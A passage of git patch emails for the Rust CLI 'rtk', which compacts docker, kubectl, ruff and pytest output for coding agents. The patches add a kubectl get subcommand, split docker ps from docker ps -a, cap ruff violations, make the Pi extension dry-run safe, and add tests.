rest, verbose), + _ => run_kubectl_get_passthrough(args, verbose), + } +} + +fn kubectl_get_target(args: &[String]) -> Option<(&'static str, &[String])> { + let resource = args.first()?.as_str(); + let rest = &args[1..]; + if kubectl_get_requests_raw_output(rest) { + return None; + } + + match resource { + "po" | "pod" | "pods" => Some(("pods", rest)), + "svc" | "service" | "services" => Some(("services", rest)), + _ => None, + } +} + +fn kubectl_get_requests_raw_output(args: &[String]) -> bool { + args.iter().any(|arg| { + matches!( + arg.as_str(), + "-o" | "--output" | "-w" | "--watch" | "--show-labels" | "--show-kind" + ) || arg.starts_with("-o") + || arg.starts_with("--output=") + }) +} + +fn run_kubectl_get_passthrough(args: &[String], verbose: u8) -> Result { + let passthrough_args: Vec = std::iter::once(OsString::from("get")) + .chain(args.iter().map(|arg| OsString::from(arg.as_str()))) + .collect(); + run_kubectl_passthrough(&passthrough_args, verbose) +} + pub fn run_kubectl_passthrough(args: &[OsString], verbose: u8) -> Result { crate::core::runner::run_passthrough("kubectl", args, verbose) } @@ -752,4 +791,54 @@ api-1 | Connected to database"; let result = compact_ports("0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp, 0.0.0.0:8080->8080/tcp, 0.0.0.0:9090->9090/tcp"); assert!(result.contains("..."), "should truncate for >3 ports"); } + + #[test] + fn test_kubectl_get_target_pods_aliases() { + for resource in ["po", "pod", "pods"] { + let args = vec![resource.to_string(), "-n".to_string(), "default".to_string()]; + + assert_eq!( + kubectl_get_target(&args), + Some(("pods", &args[1..])), + "failed for {resource}" + ); + } + } + + #[test] + fn test_kubectl_get_target_services_aliases() { + for resource in ["svc", "service", "services"] { + let args = vec![resource.to_string(), "-A".to_string()]; + + assert_eq!( + kubectl_get_target(&args), + Some(("services", &args[1..])), + "failed for {resource}" + ); + } + } + + #[test] + fn test_kubectl_get_target_unsupported_resource() { + let args = vec!["deployments".to_string()]; + + assert_eq!(kubectl_get_target(&args), None); + } + + #[test] + fn test_kubectl_get_target_respects_output_flags() { + for output_flag in ["-o", "-owide", "--output", "--output=json"] { + let args = vec![ + "pods".to_string(), + output_flag.to_string(), + "wide".to_string(), + ]; + + assert_eq!( + kubectl_get_target(&args), + None, + "should pass through {output_flag}" + ); + } + } } diff --git a/src/main.rs b/src/main.rs index 25c70dcb06..f24f64fc80 100644 --- a/src/main.rs +++ b/src/main.rs @@ -942,6 +942,12 @@ enum ComposeCommands { #[derive(Debug, Subcommand)] enum KubectlCommands { + /// Get Kubernetes resources (compact for pods/services) + Get { + /// kubectl get arguments + #[arg(trailing_var_arg = true, allow_hyphen_values = true)] + args: Vec, + }, /// List pods Pods { #[arg(short, long)] @@ -1724,6 +1730,7 @@ fn run_cli() -> Result { }, Commands::Kubectl { command } => match command { + KubectlCommands::Get { args } => container::run_kubectl_get(&args, cli.verbose)?, KubectlCommands::Pods { namespace, all } => { let mut args: Vec = Vec::new(); if all { @@ -2640,6 +2647,18 @@ mod tests { } } + #[test] + fn test_try_parse_kubectl_get_alias() { + let cli = Cli::try_parse_from(["rtk", "kubectl", "get", "pods", "-n", "default"]).unwrap(); + + match cli.command { + Commands::Kubectl { + command: KubectlCommands::Get { args }, + } => assert_eq!(args, vec!["pods", "-n", "default"]), + _ => panic!("Expected Kubectl Get command"), + } + } + #[test] fn test_try_parse_init_agent_hermes_uninstall() { let cli = Cli::try_parse_from(["rtk", "init", "--agent", "hermes", "--uninstall"]).unwrap(); From f21b8642dea5ac37ade5308bcf443315d63665e8 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 18 May 2026 19:06:57 +0200 Subject: [PATCH 124/204] fix(filters): split docker ps/-a paths, cap ruff violations at 50 - docker ps reverts to plain (no -a augmentation) - docker ps -a / compose ps -a wired to the running/stopped split filter - ruff Violations: capped at 50 + force_tee_tail_hint recovery - tests for the ruff and pytest xfail caps --- src/cmds/cloud/container.rs | 197 ++++++++++++++++++++++------------ src/cmds/python/pytest_cmd.rs | 31 ++++++ src/cmds/python/ruff_cmd.rs | 70 ++++++++++-- src/main.rs | 21 +++- 4 files changed, 233 insertions(+), 86 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index ee2ac6e4bf..3a91f99e14 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -12,6 +12,7 @@ use std::process::Command; #[derive(Debug, Clone, Copy)] pub enum ContainerCmd { DockerPs, + DockerPsAll, DockerImages, DockerLogs, KubectlPods, @@ -22,6 +23,7 @@ pub enum ContainerCmd { pub fn run(cmd: ContainerCmd, args: &[String], verbose: u8) -> Result { match cmd { ContainerCmd::DockerPs => docker_ps(verbose), + ContainerCmd::DockerPsAll => docker_ps_all(verbose), ContainerCmd::DockerImages => docker_images(verbose), ContainerCmd::DockerLogs => docker_logs(args, verbose), ContainerCmd::KubectlPods => kubectl_pods(args, verbose), @@ -58,13 +60,10 @@ fn docker_ps(_verbose: u8) -> Result { .map(|r| r.stdout) .unwrap_or_default(); - // One structured call over *all* containers (`-a`) — splitting on the State - // field lets us list crashed/exited ones too, which plain `docker ps` hides. let result = exec_capture(resolved_command("docker").args([ "ps", - "-a", "--format", - "{{.State}}\t{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", + "{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", ])) .context("Failed to run docker ps")?; @@ -74,92 +73,146 @@ fn docker_ps(_verbose: u8) -> Result { return Ok(result.exit_code); } - let format_line = |parts: &[&str], with_ports: bool| -> Option { - if parts.len() < 5 { - return None; - } - let id = &parts[1][..12.min(parts[1].len())]; - let name = parts[2]; - // Keep the Status verbatim — it carries health ("Up 4s (unhealthy)") - // and exit-code/restart info an agent needs to judge service health. - let status = parts[3].trim(); - let short_image = parts[4].split('/').next_back().unwrap_or(""); - let port_suffix = if with_ports { - let ports = compact_ports(parts.get(5).unwrap_or(&"")); - if ports == "-" { - String::new() - } else { - format!(" [{}]", ports) - } - } else { - String::new() - }; - Some(format!( - " {} {} ({}) {}{}\n", - id, name, short_image, status, port_suffix - )) - }; + let stdout = result.stdout; + let mut rtk = String::new(); - let mut running: Vec> = Vec::new(); - let mut stopped: Vec> = Vec::new(); - for line in result.stdout.lines().filter(|l| !l.trim().is_empty()) { - let parts: Vec<&str> = line.split('\t').collect(); - let state = parts.first().copied().unwrap_or(""); - if matches!(state, "running" | "restarting") { - running.push(parts); - } else { - stopped.push(parts); - } + if stdout.trim().is_empty() { + rtk.push_str("[docker] 0 containers"); + println!("{}", rtk); + timer.track("docker ps", "rtk docker ps", &raw, &rtk); + return Ok(0); } const MAX_CONTAINERS: usize = 20; + let lines: Vec = stdout + .lines() + .filter(|l| !l.trim().is_empty()) + .filter_map(|line| format_container_line(line, true)) + .collect(); - // Pre-build compressed lines once; assemble full (for tee) and capped (for display) from them. - let running_lines: Vec = running.iter().filter_map(|p| format_line(p, true)).collect(); - let stopped_lines: Vec = stopped.iter().filter_map(|p| format_line(p, false)).collect(); + rtk.push_str(&format!("[docker] {} containers:\n", lines.len())); + for entry in lines.iter().take(MAX_CONTAINERS) { + rtk.push_str(entry); + } + if lines.len() > MAX_CONTAINERS { + rtk.push_str(&format!(" … +{} more\n", lines.len() - MAX_CONTAINERS)); + let full: String = lines.concat(); + if let Some(hint) = crate::core::tee::force_tee_hint(&full, "docker-ps") { + rtk.push_str(&format!("{}\n", hint)); + } + } - let truncated = running_lines.len() > MAX_CONTAINERS || stopped_lines.len() > MAX_CONTAINERS; + print!("{}", rtk); + timer.track("docker ps", "rtk docker ps", &raw, &rtk); + Ok(0) +} - let mut full_rtk = String::new(); - full_rtk.push_str(&format!("[docker] {} running:\n", running_lines.len())); - for l in &running_lines { - full_rtk.push_str(l); +fn docker_ps_all(_verbose: u8) -> Result { + let timer = tracking::TimedExecution::start(); + + let raw = exec_capture(resolved_command("docker").args(["ps", "-a"])) + .map(|r| r.stdout) + .unwrap_or_default(); + + let result = exec_capture(resolved_command("docker").args([ + "ps", + "-a", + "--format", + "{{.State}}\t{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", + ])) + .context("Failed to run docker ps -a")?; + + if !result.success() { + eprint!("{}", result.stderr); + timer.track("docker ps -a", "rtk docker ps -a", &raw, &raw); + return Ok(result.exit_code); } - if !stopped_lines.is_empty() { - full_rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); - for l in &stopped_lines { - full_rtk.push_str(l); + + let mut running_lines: Vec = Vec::new(); + let mut stopped_lines: Vec = Vec::new(); + for line in result.stdout.lines().filter(|l| !l.trim().is_empty()) { + let parts: Vec<&str> = line.split('\t').collect(); + let state = parts.first().copied().unwrap_or(""); + let is_running = matches!(state, "running" | "restarting"); + if let Some(entry) = format_container_line_from_parts(&parts[1..], is_running) { + if is_running { + running_lines.push(entry); + } else { + stopped_lines.push(entry); + } } } + const MAX_CONTAINERS: usize = 20; + let truncated = running_lines.len() > MAX_CONTAINERS || stopped_lines.len() > MAX_CONTAINERS; + let mut rtk = String::new(); rtk.push_str(&format!("[docker] {} running:\n", running_lines.len())); for l in running_lines.iter().take(MAX_CONTAINERS) { rtk.push_str(l); } if running_lines.len() > MAX_CONTAINERS { - rtk.push_str(&format!(" … +{} more\n", running_lines.len() - MAX_CONTAINERS)); + rtk.push_str(&format!( + " … +{} more\n", + running_lines.len() - MAX_CONTAINERS + )); } if !stopped_lines.is_empty() { - rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); + rtk.push_str(&format!( + "[docker] {} stopped/exited:\n", + stopped_lines.len() + )); for l in stopped_lines.iter().take(MAX_CONTAINERS) { rtk.push_str(l); } if stopped_lines.len() > MAX_CONTAINERS { - rtk.push_str(&format!(" … +{} more\n", stopped_lines.len() - MAX_CONTAINERS)); + rtk.push_str(&format!( + " … +{} more\n", + stopped_lines.len() - MAX_CONTAINERS + )); } } if truncated { - if let Some(hint) = crate::core::tee::force_tee_hint(&full_rtk, "docker-ps") { + let full: String = running_lines.iter().chain(stopped_lines.iter()).cloned().collect(); + if let Some(hint) = crate::core::tee::force_tee_hint(&full, "docker-ps-a") { rtk.push_str(&format!("{}\n", hint)); } } print!("{}", rtk); - timer.track("docker ps", "rtk docker ps", &raw, &rtk); + timer.track("docker ps -a", "rtk docker ps -a", &raw, &rtk); Ok(0) } +fn format_container_line(line: &str, with_ports: bool) -> Option { + let parts: Vec<&str> = line.split('\t').collect(); + format_container_line_from_parts(&parts, with_ports) +} + +fn format_container_line_from_parts(parts: &[&str], with_ports: bool) -> Option { + if parts.len() < 4 { + return None; + } + let id = &parts[0][..12.min(parts[0].len())]; + let name = parts[1]; + let status = parts[2].trim(); + let short_image = parts[3].split('/').next_back().unwrap_or(""); + let port_suffix = if with_ports { + let ports = compact_ports(parts.get(4).unwrap_or(&"")); + if ports == "-" { + String::new() + } else { + format!(" [{}]", ports) + } + } else { + String::new() + }; + Some(format!( + " {} {} ({}) {}{}\n", + id, name, short_image, status, port_suffix + )) +} + fn docker_images(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); @@ -581,13 +634,15 @@ pub fn run_docker_passthrough(args: &[OsString], verbose: u8) -> Result { crate::core::runner::run_passthrough("docker", args, verbose) } -/// Run `docker compose ps` with compact output -pub fn run_compose_ps(verbose: u8) -> Result { +/// Run `docker compose ps` (or `docker compose ps -a`) with compact output +pub fn run_compose_ps(all: bool, verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Use `-a` so stopped/exited services stay visible — a worker that crashed - // on startup must not silently vanish from the agent's view. - let raw_result = exec_capture(resolved_command("docker").args(["compose", "ps", "-a"])) + let mut raw_args: Vec<&str> = vec!["compose", "ps"]; + if all { + raw_args.push("-a"); + } + let raw_result = exec_capture(resolved_command("docker").args(&raw_args)) .context("Failed to run docker compose ps")?; if !raw_result.success() { @@ -596,15 +651,13 @@ pub fn run_compose_ps(verbose: u8) -> Result { } let raw = raw_result.stdout; - // Structured output for parsing (same pattern as docker_ps) - let result = exec_capture(resolved_command("docker").args([ - "compose", - "ps", - "-a", - "--format", - "{{.Name}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}", - ])) - .context("Failed to run docker compose ps --format")?; + let mut format_args: Vec<&str> = vec!["compose", "ps"]; + if all { + format_args.push("-a"); + } + format_args.extend(["--format", "{{.Name}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}"]); + let result = exec_capture(resolved_command("docker").args(&format_args)) + .context("Failed to run docker compose ps --format")?; if !result.success() { eprintln!("{}", result.stderr); @@ -618,7 +671,9 @@ pub fn run_compose_ps(verbose: u8) -> Result { let rtk = format_compose_ps(&structured); println!("{}", rtk); - timer.track("docker compose ps", "rtk docker compose ps", &raw, &rtk); + let label = if all { "docker compose ps -a" } else { "docker compose ps" }; + let rtk_label = if all { "rtk docker compose ps -a" } else { "rtk docker compose ps" }; + timer.track(label, rtk_label, &raw, &rtk); Ok(0) } diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index cda1768f2a..89f91ea72f 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -409,6 +409,37 @@ collected 0 items ); } + #[test] + fn test_filter_pytest_xfail_caps_and_tee_hint() { + let mut lines = String::from("=== test session starts ===\ncollected 30 items\n\n"); + lines.push_str("test_x.py "); + for _ in 0..15 { + lines.push('x'); + } + lines.push_str("\n\n=== short test summary info ===\n"); + for i in 0..15 { + lines.push_str(&format!( + "XFAIL test_x.py::test_case_{i} - known issue #{i}\n" + )); + } + lines.push_str("=== 0 passed, 15 xfailed in 0.05s ===\n"); + + let result = filter_pytest_output(&lines); + let xfail_in_section = result + .split("Expected-failure outcomes:") + .nth(1) + .unwrap_or(""); + let listed = xfail_in_section + .lines() + .filter(|l| l.trim().starts_with("XFAIL")) + .count(); + assert!( + listed <= 10, + "MAX_XFAIL cap not enforced: listed {listed}" + ); + assert!(result.contains("… +5 more"), "missing '+N more': {result}"); + } + #[test] fn test_filter_pytest_xfail_xpass() { let output = r#"=== test session starts === diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index 1468483cd4..05f52448f1 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -181,19 +181,36 @@ pub fn filter_ruff_check_json(output: &str) -> String { result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); } - // List all violations with file:line:col — format compression (JSON → one - // liner) already saves ~10x; capping would hide locations the agent needs - // to navigate directly to each issue. + const MAX_VIOLATIONS: usize = 50; + let violation_lines: Vec = diagnostics + .iter() + .map(|diag| { + format!( + " {}:{}:{} {} {}\n", + compact_path(&diag.filename), + diag.location.row, + diag.location.column, + diag.code, + truncate(diag.message.trim(), 100), + ) + }) + .collect(); + result.push_str("\nViolations:\n"); - for diag in &diagnostics { + for line in violation_lines.iter().take(MAX_VIOLATIONS) { + result.push_str(line); + } + if violation_lines.len() > MAX_VIOLATIONS { result.push_str(&format!( - " {}:{}:{} {} {}\n", - compact_path(&diag.filename), - diag.location.row, - diag.location.column, - diag.code, - truncate(diag.message.trim(), 100), + " … +{} more\n", + violation_lines.len() - MAX_VIOLATIONS )); + let full: String = violation_lines.concat(); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&full, "ruff-check", MAX_VIOLATIONS + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } if fixable_count > 0 { @@ -381,6 +398,39 @@ Would reformat: tests/test_utils.py assert!(result.contains("3 files already formatted")); } + #[test] + fn test_filter_ruff_check_caps_violations_and_emits_hint() { + // Mirror ruff's pretty-printed JSON shape so the input-vs-output + // comparison reflects what a real `ruff check --output-format=json` emits. + let mut diags = Vec::new(); + for i in 0..200 { + diags.push(format!( + " {{\n \"code\": \"F401\",\n \"message\": \"`module_{i}` imported but unused\",\n \"location\": {{\"row\": {i}, \"column\": 4}},\n \"end_location\": {{\"row\": {i}, \"column\": 20}},\n \"filename\": \"/Users/dev/project/src/feature_{i}.py\",\n \"fix\": null\n }}" + )); + } + let json = format!("[\n{}\n]", diags.join(",\n")); + let result = filter_ruff_check_json(&json); + + let in_section = result.split("Violations:").nth(1).unwrap_or(""); + let listed = in_section + .lines() + .filter(|l| l.trim().starts_with("src/")) + .count(); + assert!(listed <= 50, "violations cap not enforced: got {listed}"); + assert!( + result.contains("… +150 more"), + "missing '+N more' indicator" + ); + + let raw_tokens = json.split_whitespace().count(); + let out_tokens = result.split_whitespace().count(); + let savings = 100.0 - (out_tokens as f64 / raw_tokens as f64) * 100.0; + assert!( + savings >= 60.0, + "token savings dropped below 60%: {savings:.1}%" + ); + } + #[test] fn test_compact_path() { assert_eq!( diff --git a/src/main.rs b/src/main.rs index 25c70dcb06..f7e914c0eb 100644 --- a/src/main.rs +++ b/src/main.rs @@ -903,7 +903,10 @@ enum PnpmCommands { #[derive(Debug, Subcommand)] enum DockerCommands { /// List running containers - Ps, + Ps { + #[arg(short = 'a', long)] + all: bool, + }, /// List images Images, /// Show container logs (deduplicated) @@ -921,7 +924,10 @@ enum DockerCommands { #[derive(Debug, Subcommand)] enum ComposeCommands { /// List compose services (compact) - Ps, + Ps { + #[arg(short = 'a', long)] + all: bool, + }, /// Show compose logs (deduplicated) Logs { /// Optional service name @@ -1699,8 +1705,13 @@ fn run_cli() -> Result { }, Commands::Docker { command } => match command { - DockerCommands::Ps => { - container::run(container::ContainerCmd::DockerPs, &[], cli.verbose)? + DockerCommands::Ps { all } => { + let cmd = if all { + container::ContainerCmd::DockerPsAll + } else { + container::ContainerCmd::DockerPs + }; + container::run(cmd, &[], cli.verbose)? } DockerCommands::Images => { container::run(container::ContainerCmd::DockerImages, &[], cli.verbose)? @@ -1709,7 +1720,7 @@ fn run_cli() -> Result { container::run(container::ContainerCmd::DockerLogs, &[c], cli.verbose)? } DockerCommands::Compose { command: compose } => match compose { - ComposeCommands::Ps => container::run_compose_ps(cli.verbose)?, + ComposeCommands::Ps { all } => container::run_compose_ps(all, cli.verbose)?, ComposeCommands::Logs { service, tail } => { container::run_compose_logs(service.as_deref(), tail, cli.verbose)? } From 64ed4f85504d94ac54e481b289e11362a5f75fdd Mon Sep 17 00:00:00 2001 From: gitbluf Date: Mon, 18 May 2026 21:10:48 +0200 Subject: [PATCH 125/204] fix(init): honor dry-run for Pi install and uninstall paths --- src/hooks/init.rs | 184 ++++++++++++++++++++++++++++++++++++++++------ src/main.rs | 2 +- 2 files changed, 164 insertions(+), 22 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 94fda39dbe..b452a4db83 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -654,16 +654,26 @@ pub fn uninstall( let mut removed: Vec = Vec::new(); if plugin_path.exists() { - fs::remove_file(&plugin_path).with_context(|| { - format!("Failed to remove Pi extension: {}", plugin_path.display()) - })?; - if verbose > 0 { - eprintln!("Removed Pi extension: {}", plugin_path.display()); + if dry_run { + println!( + "[dry-run] would remove Pi extension: {}", + plugin_path.display() + ); + } else { + // nosemgrep: filesystem-deletion -- Pi uninstall removes only the RTK-managed extension file. + fs::remove_file(&plugin_path).with_context(|| { + format!("Failed to remove Pi extension: {}", plugin_path.display()) + })?; + if verbose > 0 { + eprintln!("Removed Pi extension: {}", plugin_path.display()); + } + removed.push(format!("Pi extension: {}", plugin_path.display())); } - removed.push(format!("Pi extension: {}", plugin_path.display())); } - if !removed.is_empty() { + if dry_run { + print_dry_run_footer(); + } else if !removed.is_empty() { println!("RTK uninstalled (Pi):"); for item in &removed { println!(" - {}", item); @@ -2788,39 +2798,52 @@ fn ensure_pi_plugin_installed(path: &Path, ctx: InitContext) -> Result { write_if_changed(path, PI_PLUGIN, "Pi extension", ctx) } +/// Create the Pi extensions directory, or in dry-run mode, print a message only if +/// the directory does not yet exist (avoids reporting no-op changes). +fn ensure_pi_extensions_dir(parent: &Path, name: &str, ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + if dry_run { + if !parent.exists() { + println!("[dry-run] would create {}: {}", name, parent.display()); + } + } else { + fs::create_dir_all(parent) + .with_context(|| format!("Failed to create {}: {}", name, parent.display()))?; + } + Ok(()) +} + /// Install the Pi extension (hook-only; no AGENTS.md injection). /// /// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` /// global=false → `.pi/extensions/rtk.ts` pub fn run_pi_mode(global: bool, ctx: InitContext) -> Result<()> { - let InitContext { verbose: _, .. } = ctx; + let InitContext { + verbose: _, + dry_run, + } = ctx; let plugin_path = if global { let pi_dir = resolve_pi_dir()?; let path = pi_plugin_path(&pi_dir); if let Some(parent) = path.parent() { - fs::create_dir_all(parent).with_context(|| { - format!( - "Failed to create Pi extensions directory: {}", - parent.display() - ) - })?; + ensure_pi_extensions_dir(parent, "Pi extensions directory", ctx)?; } path } else { let path = pi_plugin_path_for_scope(false)?; if let Some(parent) = path.parent() { - fs::create_dir_all(parent).with_context(|| { - format!( - "Failed to create local Pi extensions directory: {}", - parent.display() - ) - })?; + ensure_pi_extensions_dir(parent, "local Pi extensions directory", ctx)?; } path }; let installed = ensure_pi_plugin_installed(&plugin_path, ctx)?; - print_pi_result(&plugin_path, installed); + + if dry_run { + print_dry_run_footer(); + } else { + print_pi_result(&plugin_path, installed); + } Ok(()) } @@ -5899,4 +5922,123 @@ mod tests { .join(PI_PLUGIN_FILE) ); } + + #[test] + fn test_run_pi_mode_global_dry_run_writes_nothing() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode( + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ) + .unwrap(); + + assert!( + !pi_dir.join(PI_EXTENSIONS_SUBDIR).exists(), + "dry-run must not create the Pi extensions directory" + ); + assert!( + !pi_dir + .join(PI_EXTENSIONS_SUBDIR) + .join(PI_PLUGIN_FILE) + .exists(), + "dry-run must not create the Pi extension file" + ); + }); + } + + #[test] + fn test_run_pi_mode_local_dry_run_writes_nothing() { + let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let cwd = std::env::current_dir().unwrap(); + std::env::set_current_dir(tmp.path()).unwrap(); + + let result = run_pi_mode( + false, + InitContext { + verbose: 0, + dry_run: true, + }, + ); + std::env::set_current_dir(&cwd).unwrap(); + result.unwrap(); + + assert!( + !tmp.path().join(".pi").join(PI_EXTENSIONS_SUBDIR).exists(), + "dry-run must not create .pi/extensions/" + ); + } + + #[test] + fn test_pi_global_uninstall_dry_run_keeps_plugin() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode(true, InitContext::default()).unwrap(); + let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must exist before uninstall dry-run" + ); + + uninstall( + true, + false, + false, + false, + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ) + .unwrap(); + + assert!( + plugin.exists(), + "dry-run uninstall must not remove the Pi extension" + ); + }); + } + + #[test] + fn test_pi_local_uninstall_dry_run_keeps_plugin() { + let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let cwd = std::env::current_dir().unwrap(); + std::env::set_current_dir(tmp.path()).unwrap(); + + run_pi_mode(false, InitContext::default()).unwrap(); + let plugin = tmp + .path() + .join(".pi") + .join(PI_EXTENSIONS_SUBDIR) + .join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must exist before uninstall dry-run" + ); + + let result = uninstall( + false, + false, + false, + false, + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ); + std::env::set_current_dir(&cwd).unwrap(); + result.unwrap(); + + assert!( + plugin.exists(), + "dry-run uninstall must not remove the local Pi extension" + ); + } } diff --git a/src/main.rs b/src/main.rs index 469eefa9fe..396523e715 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1799,7 +1799,7 @@ fn run_cli() -> Result { dry_run, }; if show { - hooks::init::show_config(codex)? + hooks::init::show_config(codex)?; } else if uninstall { uninstall_init_dispatch( agent, From 548e4dd995d5de6e52d7c8e7bb0a0f81fa2c0328 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Sat, 16 May 2026 18:18:14 +0200 Subject: [PATCH 126/204] fix(tee): safe truncation caps and compose-ps tee content fix Replace all bare magic offset literals (e.g. 21 for cap=20) with named constants (MAX_XXX + 1) so offsets stay in sync if caps change. Fix compose_ps to tee pre-formatted lines instead of raw tab-separated input, so tail -n +N gives the agent readable content. All 13 affected modules updated: container, dotnet, gh, glab, go, lint, pnpm, pytest, rubocop, cargo, aws. 1884 tests pass. Co-Authored-By: Claude Sonnet 4.6 --- src/cmds/cloud/aws_cmd.rs | 16 +-- src/cmds/cloud/container.rs | 121 ++++++++++++++--------- src/cmds/dotnet/dotnet_cmd.rs | 180 +++++++++++++++++++++++++++++----- src/cmds/git/gh_cmd.rs | 83 +++++++++------- src/cmds/git/glab_cmd.rs | 116 +++++++++++++--------- src/cmds/go/go_cmd.rs | 22 +++-- src/cmds/js/lint_cmd.rs | 47 +++++++-- src/cmds/js/pnpm_cmd.rs | 39 +++++--- src/cmds/python/pytest_cmd.rs | 4 + src/cmds/ruby/rubocop_cmd.rs | 18 +++- src/cmds/rust/cargo_cmd.rs | 61 ++++++++++-- src/core/utils.rs | 2 +- 12 files changed, 498 insertions(+), 211 deletions(-) diff --git a/src/cmds/cloud/aws_cmd.rs b/src/cmds/cloud/aws_cmd.rs index 2657218b8f..aa53fc3a0d 100644 --- a/src/cmds/cloud/aws_cmd.rs +++ b/src/cmds/cloud/aws_cmd.rs @@ -494,7 +494,7 @@ fn filter_s3_ls(output: &str) -> FilterResult { if total > limit { let text = format!( - "{}\n... +{} more items", + "{}\n… +{} more items", lines[..limit].join("\n"), total - limit ); @@ -553,7 +553,7 @@ fn filter_ec2_instances(json_str: &str) -> Option { } if truncated { - result.push_str(&format!(" ... +{} more\n", total - MAX_ITEMS)); + result.push_str(&format!(" … +{} more\n", total - MAX_ITEMS)); } let text = result.trim_end().to_string(); @@ -759,7 +759,7 @@ fn filter_logs_events(json_str: &str) -> Option { } if truncated { - lines.push(format!("... +{} more events", total - MAX_LOG_EVENTS)); + lines.push(format!("… +{} more events", total - MAX_LOG_EVENTS)); } let text = lines.join("\n"); @@ -1132,7 +1132,7 @@ fn filter_dynamodb_items(json_str: &str) -> Option { } if truncated { - lines.push(format!("... +{} more items", total - MAX_ITEMS)); + lines.push(format!("… +{} more items", total - MAX_ITEMS)); } let text = lines.join("\n"); @@ -1426,7 +1426,7 @@ fn filter_logs_query_results(json_str: &str) -> Option { } if truncated { - lines.push(format!("... +{} more rows", total - MAX_ITEMS)); + lines.push(format!("… +{} more rows", total - MAX_ITEMS)); } let text = lines.join("\n"); @@ -1616,7 +1616,7 @@ mod tests { } let input = lines.join("\n"); let result = filter_s3_ls(&input); - assert!(result.text.contains("... +20 more items")); + assert!(result.text.contains("… +20 more items")); assert!(result.truncated); } @@ -1852,7 +1852,7 @@ mod tests { } let json = format!(r#"{{"DBInstances": [{}]}}"#, dbs.join(",")); let result = filter_rds_instances(&json).unwrap(); - assert!(result.text.contains("... +5 more instances")); + assert!(result.text.contains("… +5 more instances")); assert!(result.truncated); } @@ -1893,7 +1893,7 @@ mod tests { } let json = format!(r#"{{"events": [{}]}}"#, events.join(",")); let result = filter_logs_events(&json).unwrap(); - assert!(result.text.contains("... +10 more events")); + assert!(result.text.contains("… +10 more events")); assert!(result.truncated); } diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index ee2ac6e4bf..09ef999fb8 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -348,12 +348,19 @@ fn format_kubectl_pods(json: &Value) -> String { let mut out = format!("{} pods: {}\n", pods.len(), parts.join(", ")); if !issues.is_empty() { + const MAX_PODS_ISSUES: usize = 10; out.push_str("[warn] Issues:\n"); - for issue in issues.iter().take(10) { + for issue in issues.iter().take(MAX_PODS_ISSUES) { out.push_str(&format!(" {}\n", issue)); } - if issues.len() > 10 { - out.push_str(&format!(" … +{} more", issues.len() - 10)); + if issues.len() > MAX_PODS_ISSUES { + out.push_str(&format!(" … +{} more", issues.len() - MAX_PODS_ISSUES)); + let all_issues = issues.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_issues, "kubectl-pods", MAX_PODS_ISSUES + 1) + { + out.push_str(&format!(" {}", hint)); + } } } out @@ -374,39 +381,48 @@ fn format_kubectl_services(json: &Value) -> String { }; let mut out = format!("{} services:\n", services.len()); - for svc in services.iter().take(15) { - let ns = svc["metadata"]["namespace"].as_str().unwrap_or("-"); - let name = svc["metadata"]["name"].as_str().unwrap_or("-"); - let svc_type = svc["spec"]["type"].as_str().unwrap_or("-"); - let ports: Vec = svc["spec"]["ports"] - .as_array() - .map(|arr| { - arr.iter() - .map(|p| { - let port = p["port"].as_i64().unwrap_or(0); - let target = p["targetPort"] - .as_i64() - .or_else(|| p["targetPort"].as_str().and_then(|s| s.parse().ok())) - .unwrap_or(port); - if port == target { - format!("{}", port) - } else { - format!("{}→{}", port, target) - } - }) - .collect() - }) - .unwrap_or_default(); - out.push_str(&format!( - " {}/{} {} [{}]\n", - ns, - name, - svc_type, - ports.join(",") - )); - } - if services.len() > 15 { - out.push_str(&format!(" … +{} more", services.len() - 15)); + let all_lines: Vec = services + .iter() + .map(|svc| { + let ns = svc["metadata"]["namespace"].as_str().unwrap_or("-"); + let name = svc["metadata"]["name"].as_str().unwrap_or("-"); + let svc_type = 